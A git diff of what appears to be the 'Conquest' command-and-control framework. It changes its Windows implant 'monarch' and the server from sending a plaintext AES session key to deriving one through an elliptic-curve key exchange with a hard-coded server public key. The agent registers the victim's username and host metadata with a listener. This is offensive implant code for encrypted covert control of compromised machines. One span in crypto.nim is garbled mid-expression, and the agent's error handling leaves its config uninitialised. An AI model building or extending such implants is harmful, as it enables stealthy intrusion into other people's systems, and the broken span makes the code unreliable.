diff --git a/src/agents/monarch/build.sh b/src/agents/monarch/build.sh index c9ad716..58286cc 100644 --- a/src/agents/monarch/build.sh +++ b/src/agents/monarch/build.sh @@ -1,4 +1,11 @@ #!/bin/bash CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" -nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim +nim --os:windows \ + --cpu:amd64 \ + --gcc.exe:x86_64-w64-mingw32-gcc \ + --gcc.linkerexe:x86_64-w64-mingw32-gcc \ + -d:release \ + --outdir:"$CONQUEST_ROOT/bin" \ + -o:"monarch.x64.exe" \ + c $CONQUEST_ROOT/src/agents/monarch/main.nim diff --git a/src/agents/monarch/core/register.nim b/src/agents/monarch/core/register.nim index 029510a..c4a68f2 100644 --- a/src/agents/monarch/core/register.nim +++ b/src/agents/monarch/core/register.nim @@ -206,7 +206,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData = iv: generateIV(), gmac: default(AuthenticationTag) ), - sessionKey: config.sessionKey, + agentPublicKey: config.agentPublicKey, metadata: AgentMetadata( listenerId: uuidToUint32(config.listenerId), username: getUsername().toBytes(), @@ -251,8 +251,8 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration let header = packer.packHeader(data.header, uint32(encData.len)) packer.reset() - # Serialize session key - packer.addData(data.sessionKey) - let key = packer.pack() + # Serialize the agent's public key to add it to the header + packer.addData(data.agentPublicKey) + let publicKey = packer.pack() - return header & key & encData + return header & publicKey & encData diff --git a/src/agents/monarch/main.nim b/src/agents/monarch/main.nim index 55a3b3f..b92ad26 100644 --- a/src/agents/monarch/main.nim +++ b/src/agents/monarch/main.nim @@ -1,4 +1,4 @@ -import strformat, os, times, random +import strformat, os, times, system, base64 import winim import core/[task, taskresult, heartbeat, http, register] @@ -12,10 +12,9 @@ const Octet3 {.intdefine.}: int = 0 const Octet4 {.intdefine.}: int = 0 const ListenerPort {.intdefine.}: int = 5555 const SleepDelay {.intdefine.}: int = 10 +const ServerPublicKey {.strdefine.}: string = "" proc main() = - randomize() - #[ The process is the following: 1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings @@ -35,14 +34,26 @@ proc main() = let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4 # Create agent configuration - var config = AgentConfig( - agentId: generateUUID(), - listenerId: ListenerUuid, - ip: address, - port: ListenerPort, - sleep: SleepDelay, - sessionKey: generateSessionKey(), # Generate a new AES256 session key for encrypted communication - ) + var config: AgentConfig + try: + let agentKeyPair = generateKeyPair() + let serverPublicKey = decode(ServerPublicKey).toKey() + + config = AgentConfig( + agentId: generateUUID(), + listenerId: ListenerUuid, + ip: address, + port: ListenerPort, + sleep: SleepDelay, + sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication + agentPublicKey: agentKeyPair.publicKey + ) + + # Clean up agent's private key from memory + zeroMem(agentKeyPair.privateKey[0].addr, sizeof(PrivateKey)) + + except CatchableError as err: + echo "[-] " & err.msg # Create registration payload var registration: AgentRegistrationData = config.collectAgentMetadata() diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg index 404345d..56bc415 100644 --- a/src/agents/monarch/nim.cfg +++ b/src/agents/monarch/nim.cfg @@ -5,4 +5,5 @@ -d:Octet3="0" -d:Octet4="1" -d:ListenerPort=9999 --d:SleepDelay=5 +-d:SleepDelay=10 +-d:ServerPublicKey="8OysfB6C8kn8KSu8bYIH/78BMCpFOZsTaAWEG+860HY=" diff --git a/src/common/crypto.nim b/src/common/crypto.nim index 16d2a66..d0840fd 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -1,21 +1,29 @@ -import random +import system import nimcrypto +import nimcrypto/blake2 +from ed25519 import keyExchange, createKeyPair, seed +# from monocypher import crypto_key_exchange_public_key, crypto_key_exchange, crypto_blake2b, crypto_wipe import ./[utils, types] -proc generateSessionKey*(): Key = - # Generate a random 256-bit (32-byte) session key for AES-256 encryption - var key: array[32, byte] - for i in 0 ..< 32: - key[i] = byte(rand(255)) - return key +#[ + Symmetric AES256 GCM encryption for secure C2 traffic + Ensures both confidentiality and integrity of the packet +]# +proc generateKeyPair*(): KeyPair = + let keyPair = createKeyPair(seed()) + + return KeyPair( + privateKey: keyPair.privateKey, + publicKey: keyPair.publicKey + ) proc generateIV*(): Iv = # Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode - var iv: array[12, byte] - for i in 0 ..< 12: - iv[i] = byte(rand(255)) - return iv + var iv: Iv + if randomBytes(iv) != 12: + raise newException(CatchableError, "Failed to generate IV.") + return iv proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = @@ -47,3 +55,67 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se return (data, tag) +#[ + ECDHE key exchange using ed25519 +]# +proc loadKeys*(privateKeyFile, publicKeyFile: string): KeyPair = + let filePrivate = open(privateKeyFile, fmRead) + defer: filePrivate.close() + + var privateKey: PrivateKey + var bytesRead = filePrivate.readBytes(privateKey, 0, sizeof(PrivateKey)) + + if bytesRead != sizeof(PrivateKey): + raise newException(ValueError, "Invalid private key length.") + + let filePublic = open(publicKeyFile, fmRead) + defer: filePublic.close() + + var publicKey: PublicKey + bytesRead = filePublic.readBytes(publicKey, 0, sizeof(PublicKey)) + + if bytesRead != sizeof(PublicKey): + raise newException(ValueError, "Invalid public key length.") + + return KeyPair( + privateKey: privateKey, + publicKey: publicKey + ) + +proc writeKey*[T: PublicKey | PrivateKey](keyFile: string, key: T) = + let file = open(keyFile, fmWrite) + defer: file.close() + + let bytesWritten = file.writeBytes(key, 0, sizeof(T)) + + if bytesWritten != sizeof(T): + raise newException(ValueError, "Invalid key length.") + +proc combineKeys(publicKey, otherPublicKey: Key): Key = + # XOR is a commutative operation, that ensures that the order of the public keys does not matter + for i in 0..<32: + result[i] = publicKey[i] xor otherPublicKey[i] + +proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key = + var key: Key + + # Calculate shared secret (https://monocypher.org/manual/x25519) + let sharedSecret = keyExchange(publicKey, keyPair.privateKey) + + # Add combined public keys to hash + let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey) + + # Calculate Blake2b hash to derive session key + var ctx: blake2_512 + ctx.init() + ctx.update(sharedSecret) + ctx.update("CONQUEST".toBytes() & @combinedKeys) + + let hash = ctx.finish + let bytes = hash.data[0.. ") diff --git a/src/server/main.nim b/src/server/main.nim index 5ffcd1d..f3c8f15 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -1,8 +1,6 @@ -import random import core/server import strutils # Conquest framework entry point when isMainModule: - randomize() startServer() \ No newline at end of file diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim index 18eca6a..4c835d0 100644 --- a/src/server/task/packer.nim +++ b/src/server/task/packer.nim @@ -95,10 +95,12 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent = # TODO: Validate sequence number + # Key exchange + let agentPublicKey = unpacker.getKey() + let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey) + # Decrypt payload - let sessionKey = unpacker.getKey() let payload = unpacker.getBytes(int(header.size)) - let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr) # Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD